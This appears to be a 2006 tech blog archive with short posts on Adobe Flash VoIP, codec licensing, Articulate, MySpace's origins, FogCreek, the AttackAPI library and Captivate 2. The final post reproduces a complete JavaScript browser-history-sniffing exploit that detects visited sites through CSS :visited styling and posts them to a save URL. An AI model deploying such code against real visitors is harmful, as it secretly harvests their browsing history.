Via JD:
"Over the last couple of weeks, Adobe’s Voice over IP plans for Flash have been leaking out with regularity, as Adobe representatives met with companies at VON. Today’s feature on GigaOm is a nice summary." [1]
Interesting idea that could be very cool... but if the guys behind any of Macromedia's other strategies like this are behind the thing, you'll probably need to buy a $60,000 server license to use it. Let's see if they ruin it with lame server licensing costs like the did with Flex and Communication Server.
[1] http://saunderslog.com/2006/09/22/just-add-voice/
On2, the guys behind the latest video codec in Flash, are celebrating some live streaming stuff. I agree, the codec is nice. What isn't nice is the rediculous licensing costs to use the codec. Note to Macromedia/Adobe: if you are going to try to make an open file format, write the codecs yourself. Don't allow the company that you license your codec from to rape all your customers with rediculous licensing fees.
I wonder JD, have you ever inquired about the rediculous fees associated with using Flash 8 Video in a product (try $60,000+ to get started + $10,000 a year + $10 per product sold)? Does Adobe have any plans to actually make the spec open, or are they going to continue to tell their customers to shove it if they want to put video in their own tools?
[1] http://www.prnewswire.com/cgi-bin/stories.pl?ACCT=104&STORY=/www/story/09-13-2006/0004431838&EDATE=
[2] Via: http://weblogs.macromedia.com/jd/archives/2006/09/lots_of_links_11.cfm
I guess we are doing something right with our software :)
"Articulate tops Deloitte's New York Technology Fast 50 ranking of Rising Stars with a three-year average revenue growth of 499%.
"Making Deloitte's Technology Fast 50 Rising Star list is a
testament to a company's strategic vision," said Stephen DiPietro,
Audit Partner, Deloitte & Touche LLP. "Articulate has exhibited its
commitment and ability to innovate over the past three years, and
Deloitte salutes their accomplishments." [1]
If you're not familiar with Articulate. We create tools for rapid creation of eLearning content. The market is pretty young, which means there is a ton of room for innovation. It's a pretty fun place to be. I started working with Articulate back when they were getting ready to release the first version of their initial product, Articulate Presenter. It's been fun to see the company grow from obscurity to become a recognized name in the eLearning industry over the past couple years.
[1] http://www.articulate.com/news_20060915.html
[2] http://blog.articulate.com/deloitte-honors-our-499-growth/
Very interesting story about MySpace that claims that MySpace's success has more to do with spam and PR than anything else:
"About four months ago I was hired by an online publisher as a freelance journalist to write an article detailing the history and business model of MySpace.com (the project has previously been mentioned on this blog). After months of journalistic research and interviews I finally sought comment from News Corp. Instead of getting comments or an interview from News Corp., they began harassing my employer. Due to groundless legal implications, the article I had written was no longer to be published. However, I now own the rights to my work and after weeks of looking for support and contemplating the situation I have decided to publish the article in its entirety on Valleywag.
It is possible that News Corp. may attempt to pursue legal action against me for publishing this work, but this article has been professionally fact checked and is the truth.
The reader's digest version below breaks things down very simply and quotes sections of the upcoming article, as well as provides links to documentation proving said information...
...Tom Anderson did NOT create MySpace. Most users don't know that Tom Anderson (pictured) is more of a PR scheme than anything else--the mascot designed to give a friendlier feel to a site created by a marketing company known for viral entertainment websites, pop-up advertising, spam, spyware, and adware. As MySpace's popularity grew, the MySpace team moved to create a false PR story that would best reflect the ideals and tastes of its growing demographic. They wanted to prevent the revelation that a Spam 1.0 company had launched the site, and created the impression that Tom Anderson created the site, and the lie worked. According to Anderson, the bulk of his initial contribution is as follows: "I am as anti-social as they come, and I've already got 20 people to sign up."
[1] http://www.valleywag.com/tech/myspace/what-news-corp-doesnt-want-you-to-know-about-myspace-condensed-edition-199668.php
"...There are a couple of other drawbacks to consider that Joel doesn't mention
in his post either because they haven't had time to occur yet or probably because
FogCreek may be a special case due to Joel's reputation..." [1]
I know I run the risk of getting flamed by the zealots, but am I the only one that wonders why people think so highly of Joel? There are a million better software developers and managers out there. I'll give him credit for being a great writer and a pretty intelligent guy, but if his philosophies are so great, why isn't FogCreek's software better? We tried out FogBugz because of all the hype around Joel, but we ended up dumping it because it couldn't meet our needs. I bet most people can't even name any of Fog Creek software's other products, because like FogBugz, they aren't all that special either. Hell, get yourself Windows Live Writer and a free blog somewhere and you'll have a better CMS than CityDesk. If you want to spend the money on something like this, why not just get something like Contribute? You'll get million more features, a better UI, and you'll spend 1/2 the money.
[1] http://www.25hoursaday.com/weblog/PermaLink.aspx?guid=35098e1a-a07d-4894-acb9-a95391b624f8
A simple way to compromise security of computers everywhere. How nice.
AttackAPI (0.6)
August 31st, 2006
AttackAPI provides simple and intuitive web programmable interface
for composing attack vectors with JavaScript and other client (and
server) related technologies. The current release supports several
browser based attacking techniques and simple but powerful JavaScript
console.
The standalone components of the library can be found at the following locations:
Demonstration of the library capabilities is available here:
- Index
- Client
- AuthorizationForcer
- ExtensionScanner
- HistoryDumper
- NetworkSweeper
- PortScanner
- Utils
- JavaScriptShell
The 0.7 release promises to integrate and introduce more tools and techniques.
[1] http://www.gnucitizen.org/projects/attackapi/
Via JD, Adobe has killed all future SVG player development. With Adobe out of the game due to Flash and Microsoft out of the game with WPF/E, we are one step closer to SVG being know as the vector graphics betamax.
[1] http://www.adobe.com/svg/eol.html
[2] http://weblogs.macromedia.com/jd/archives/2006/09/adobe_svg_viewe.cfm
Captivate 2 has been announced. Looks like price will jump from $100 to $599. Sweet!
[1] http://www.adobe.com/products/captivate/?promoid=pr_captivateannounce_100404
Cody Swann has a modified version of the exploit using prototype that works in IE and has support for AJAX requests:
<html>
<head>
<script type="text/javascript" src="http://script.aculo.us/prototype.js"></script>
</head>
<body>
Have you been to these sites?
<script type="text/javascript">
Snoop = Class.create();
Snoop.prototype = {
initialize: function(options)
{
this.options = Object.extend({
writeStyle: true,
linkObjArray: null, //AN ARRAY OF JSON FORMATTED LINK OBJ IN THE FORM OF {link:'http://...',text:'nameOfSite'} THAT WILL BE CHECKED
identifier: '', //IF SAVING THE DATA, THIS IS WHAT YOU WOULD LIKE TO USE TO IDENFIFY THE SESSON
saveURL: null, //URL TO SEND THE DATA TO
method: 'get', //METHOD USED IN AJAX SAVE
transport: null, //TRANSPORT USED TO SEND SAVED DATA (XMLHTTPRequest by default)
onComplete: function(visitedLinks)///FUNCTION CALLED AFTER PARSING LINKS
{
var dummy = document.createElement('ul');
visitedLinks.each(
function(linkObj)
{
var text = document.createTextNode(linkObj.text);
var node = document.createElement('a');
var li = document.createElement('li');
node.appendChild(text);
node.setAttribute('href',linkObj.link);
li.appendChild(node);
dummy.appendChild(li);
}
);
document.body.appendChild(dummy);
},
onSaveComplete: function(){},///CALLBACK FOR AJAX FUNCTION ON SUCCESS
onSaveError: function(){}///CALLBACK FOR AJAX FUNCTION ON FAILURE
}, options || {});
this._visitedLinks = [];
if(this.options.writeStyle)
{
document.write('<style type="text/css">a.testerLink:visited{display:block;height:1px;}</style>');
}
this.collectVisitedLinks();
this.finish();
},
collectVisitedLinks: function()
{
var dummy = document.createElement('div');
dummy.id = 'visitTestDiv';
Element.setStyle(dummy,{visibility:'hidden',height:'1px',lineHeight:'1px'});
document.body.appendChild(dummy);
var linkObjs = this.options.linkObjArray || [{link:'http://new.com/',text:'new'},{link:'http://new.2com/',text:'new2'},{link:'http://google.com/',text:'Google.com'},{link:'http://espn.go.com/',text:'ESPN.com'},{link:'http://script.aculo.us/',text:'Scriptaculous'},{link:'http://digg.com/',text:'Digg'},{link:'http://blog.slimc.com/',text:'Slimc.com'},{link:'http://www.cnn.com/',text:'CNN.com'},{link:'http://www.yahoo.com/',text:'Yahoo!'},{link:'http://myspace.com',text:'MySpace'},{link:'http://www.ebay.com/',text:'ebay'},{link:'http://wikipedia.org/',text:'Wikipedia'},{link:'http://amazon.com/',text:'Amazon.com'},{link:'http://sfbay.craigslist.org/',text:"Craig's List"}];
linkObjs.each(
function(linkObj,count)
{
var text = document.createTextNode(linkObj.text);
var node = document.createElement('a');
node.setAttribute('href',linkObj.link);
Element.addClassName(node,'testerLink');
dummy.appendChild(node);
if(parseInt(Element.getHeight(node)) != 0)
{
this._visitedLinks.push(linkObj);
}
Element.remove(node);
}.bind(this)
);
Element.remove(dummy);
},
finish: function()
{
if(this.options.saveURL)
{
var urls = this._visitedLinks.collect(function(link){ return link.link; });
urls = urls.join(',');
urls = escape(urls.replace(/,$/,''));
urls = urls.replace(/%2C/,',');
new Ajax.Request(this.options.saveURL,{
transport: this.options.transport,
method: this.options.method,
parameters: 'id=' + this.options.identifier + '&urls=' + urls,
onSuccess: this.options.onSaveComplete,
onFailure: this.options.onSaveError
});
}
this.options.onComplete(this._visitedLinks);
}
};
new Snoop({saveURL:'/right/here'});
</script>
</body>
</html>
[1] http://blog.slimc.com/prototype-javascript-ending-privacy-one-visit-at-a-time/